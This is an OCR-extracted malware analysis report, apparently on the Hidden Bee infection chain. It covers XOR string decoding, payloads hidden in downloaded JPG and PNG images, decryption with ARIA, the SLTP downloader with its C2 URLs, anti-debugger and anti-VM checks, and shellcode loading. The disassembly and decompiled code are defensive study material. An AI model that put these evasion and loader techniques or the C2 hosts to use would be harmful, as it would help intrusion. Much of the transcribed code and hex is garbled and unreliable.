00000060 OR 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 00 00 e char name []; //XORed

t
00000070 8C E7 BE 97 SF 66 BD 63 9B 5C 88 03 SeB—2f k..
00000080 24 75 82 0D 30 B8 82 0D 9D 58 93 1C CA 96 93 1C  Su,.0.,.t»".E-".
000000%0 SE 296 93 1C 06 2E 6B D2 F9 52 BE 04 07 32 BS 50 ~-"...k0d¥qg..2uP =0x74
.
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  +d-|=.9.C.7=4.&4 SLKEL
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]
64 A1 30 00 00 00 C3 56 d o...iv CODE

000001A0 8B 4C 24 08 8B 44 24 08 33 D2 83 CO 14 38 51 07 <L$.<D$.3H.R.8Q. Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 76 12 8B DE 83 E2  t.3569Q..Q.v.<0.4
00008810 00 00 00 00 00 00 00 00 83 03 00 00 BZ 03 RELOCATIONS
00008820 BF 03 00 00 E1 03 00 00 04 04 00 00 13 04
0000BS30 24 04 00 00 2D 04 00 00 42 04 00 00 47 04 Offset = 0xB818
00008840 55 04 00 00 61 04 00 00 8C 04 00 00 9C 04 Size = 0x0670

0000B850 BF 04 00 00 CE 04 00 00 EE 04 00 00 FA 04
0000BB6O 01 O 00 BO 05 00 00 BT 05
0000B87T BE O 00 DF 05 00 00 EA 05
00o00BE8 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06

Module Size = 0xBESS

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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B@8311656
@a31165C
Ba31165F
@a311B64
Ba311665
88311666
88311666
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Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eaddb6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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Decoded text
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Magic: Irex
Size
SHA256

Code
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79c154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:

Page 155 of 265


https://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf
https://shasaurabh.blogspot.com/2017/07/virtual-machine-detection-techniques.html
https://wiki.osdev.org/CPUID

https://blog.malwarebytes.com /threat-analysis /2019 /08 /the-hidden-bee-infection-chain-part-1-the-stegano-pack/

57| v = decode_memory(&str_XenVMMXenViMM); JI " XenVMMenviiM™
58| if ( !strncmp(v33, ve, 12} )

59 goto set_wm_flag;

68| vl = decode_memory(&str_VMWareViMware); J "VMwareVMware”
51| if { !strncmp(v3z, v1, 12} )

62 goto set vm_flag;

63 w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"
64| if { !strncmp(v33, w2, 12} )

65 goto set_wvm_flag;

66| w3 = decode_memory{&str KVMIKVMKVM) ; JI T IEMEVMICVM™

67| if { !strncmp(v33, v3, 12} )

68 goto set_wm_flag;

59| w4 = decode_memory(&unk_2435F78); " lrpepyh  wr™
7a if ( !'strncmp(v33, w4, 12} )

71 goto set_vm_flag;

72| w5 = decode_memory(funk_ 2435F58); // "sbiedll.dll™

73| if ( GetModuleHandleA(vS) )

74 goto set_wm_flag;

75| if { !GetComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| we = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !lstrcmpiW(Buffer, wg) )}

79 goto set_vm_flag;

28| nSize = 1824;

81| if ( !'GetUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(&unk_2435F88);// L"CurrentUser”
84| if ( !'1strcmpiW{Buffer, w7} )

85 goto set_wm_flag;

86| wi = (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX™
87| if ( !lstrcmpiW({Buffer, w8) )

88 goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

39| w9 = decode_memory (&unk_2435EE8); /7 "StrstrIA”
96| w10 = decode_memory(&unk_2435EC8); /7 "shlwapi.dll”
91| shlwapi_dll = LoadLibraryA(v1@);

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

9a| {

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 8& ((idl = decode_memory(&unk_2435DB4), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))Strstria)(vzl, Buffer, id1})// "55274-648-2673064-23950"

115 || (id2 = decode_memory(&unk_2435088), ((int (_ thiscall *){int, WCHAR *, | *))StrstrIa)(v23, Buffer, id2))// "76487-644-3177837-23518"
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
